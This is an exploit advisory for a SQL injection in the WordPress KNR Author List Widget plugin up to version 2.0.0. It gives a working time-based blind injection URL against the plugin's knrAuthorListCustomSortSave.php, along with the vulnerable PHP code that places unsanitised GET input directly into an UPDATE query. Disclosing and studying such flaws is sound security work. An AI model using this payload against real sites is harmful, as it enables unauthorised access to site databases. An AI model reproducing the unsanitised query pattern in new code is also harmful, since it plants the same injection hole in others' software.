WordPress KNR Author List Widget plugin <= 2.0.0 - SQL Injection Vulnerability

# Exploit Title: WordPress KNR Author List Widget plugin &#60;= 2.0.0 SQL Injection Vulnerability # Date: 2011-09-06 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip # Version: 2.0.0 (tested) --- PoC --- http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code --------------- foreach ($_GET[&#39;listItem&#39;] as $position =&#62; $item) : $iterSql = &#34;UPDATE $wpdb-&#62;users SET knr_author_order = $position WHERE ID = $item&#34;; $wpdb-&#62;query($iterSql); endforeach;